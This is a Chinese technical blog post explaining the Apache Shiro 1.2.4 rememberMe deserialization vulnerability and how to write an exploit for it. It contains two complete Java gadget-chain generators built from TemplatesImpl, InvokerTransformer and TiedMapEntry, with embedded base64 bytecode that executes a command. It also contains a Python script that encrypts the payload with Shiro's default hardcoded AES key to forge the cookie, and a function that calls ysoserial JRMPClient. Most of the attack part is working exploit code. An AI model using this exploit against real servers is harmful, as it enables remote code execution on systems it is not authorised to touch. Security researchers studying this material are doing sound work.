shiro反序列化漏洞利用以及exp编写

文章详细阐述了Shiro框架在1.2.4版本之前的rememberMe功能存在的反序列化漏洞,攻击者可以利用固定加密Key伪造Cookie。由于ClassResolvingObjectInputStream类限制,含有非Java自身数组的反序列化内容无法加载,导致CommonsCollections6等payload失效。为解决问题,文章提出构造无数组的序列化内容,通过TemplatesImpl和InvokerTransformer实现代码执行。同时,提供了加密编码的Python脚本示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、漏洞原理

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字

段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

二、冲突与限制

我们直接将CC链中的内容进行反序列化后,进行加密并且编码后通过rememberMe的字段发送后,发现并不会成功。原因是ClassResolvingObjectInputStream这个类重写了resolveClass方法,resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.Class 对象。

对比一下它的父类,也就是正常的ObjectInputStream 类中的resolveClass 方法:

区别就是前者用的是org.apache.shiro.util.ClassUtils#forName (实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原生的Class.forName 。

这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

三、问题解决

如上我们知道问题在于我们反序列化中的内容存在数组,所以我们需要在构造时,构造没有数组的序列化内容即可。

我们可以通过构造TemplatesImpl字节码执行任意代码,这里面不需要数组。利用InvokerTransformer 调用TemplatesImpl#newTransformer 方法,在CommonsCollections6中,我们用到了一个类, TiedMapEntry ,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个getValue 方法,调用了map的get方法,并传入key:

当这个map是LazyMap时,其get方法就是触发transform的关键点:

我们以往构造CommonsCollections Gadget的时候,对LazyMap#get 方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演ConstantTransformer的角色——一个简单的对象传递者。

1.调用链

  • 链条1:(CommonsCollectionsShiro链):依赖CommonsCollections3.2.1

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    //如下为反射设置对应的属性方法
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    //如下为序列化到文件的代码
    public static void serizlize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static void main(String[] args) throws Exception {
        //如下的code内容为弹出一个calc。
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        
        //新建一个InvokerTransformer对象,先设置一个不容易本地调试出发的方法getClass
        Transformer transformer = new InvokerTransformer("getClass", null, null);

        //创建一个空的HashMap让LazyMap调用,LazyMap将创建好的作为key
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        //创建一个TiedMapEntry对象,map放如上创建的LazyMap,key放如上创建好的TemplatesImpl
        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        //通过新建一个HashMap,pyt我们创建号的TiedMapEntry对象,反序列化时会调用TiedMapEntry的hashcode方法
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        //同样因为本地调试会改变outerMap里面的内容,所以最后我们需要清空里面的内容
        outerMap.clear();

        //将上面传入的一个getClass方法替换为我们真实的需要触发的方法newTransformer
        setFieldValue(transformer, "iMethodName", "newTransformer");

        //序列化expMap对象
        serizlize(expMap);
    }
}

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollectionsShiro2 {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serizlize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static void main(String[] args) throws Exception {
        //如下的code内容为弹出一个calc。
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        //新建一个InvokerTransformer对象,先设置一个不容易本地调试出发的方法getClass
        Transformer transformer = new InvokerTransformer("getClass", null, null);

        //新建一个InvokerTransformer对象,先设置一个不容易本地调试出发的方法getClass
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        //创建一个TiedMapEntry对象,map放如上创建的LazyMap,key放如上创建好的TemplatesImpl
        TiedMapEntry tiedmapentry = new TiedMapEntry(outerMap, obj);

        //创建一个HashSet对象,添加一个foo
        HashSet map = new HashSet(1);
        map.add("foo");

        //反射获取如上创建的map对象的map属性
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);

        //反射获取如上HashSet对象中map属性HashMap中的table属性
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        f2.setAccessible(true);

        //新建一个array数组,将获取到的table属性中的值赋给array
        Object[] array = new Object[0];
        array = (Object[]) f2.get(innimpl);

        //新建一个node对象,将如上获取到array中的值赋给node(涉及到hashmap的数组结构原理)
        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        //将如上获取到的HashSet中的map属性中的table中的一个node的key值替换为我们一开始创建的tiedmapentry对象。
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, tiedmapentry);

        //将上面传入的一个getClass方法替换为我们真实的需要触发的方法newTransformer
        setFieldValue(transformer, "iMethodName", "newTransformer");

        //序列化
        serizlize(map);
    }
}

2.加密并且编码

  • exp.py文件,将序列化的文件进行aes加密并且base64编码

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # test.bin为编译好的序列化链的内容
    data = get_file_data("test.bin")
    print(aes_enc(data))

参考:

Apache Shiro Java 反序列化漏洞分析 - 知道创宇

浅析Shiro rememberMe反序列化漏洞(Shiro550) [ Mi1k7ea ]

Shiro-1.2.4-RememberMe 反序列化踩坑深入分析 - 先知社区

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值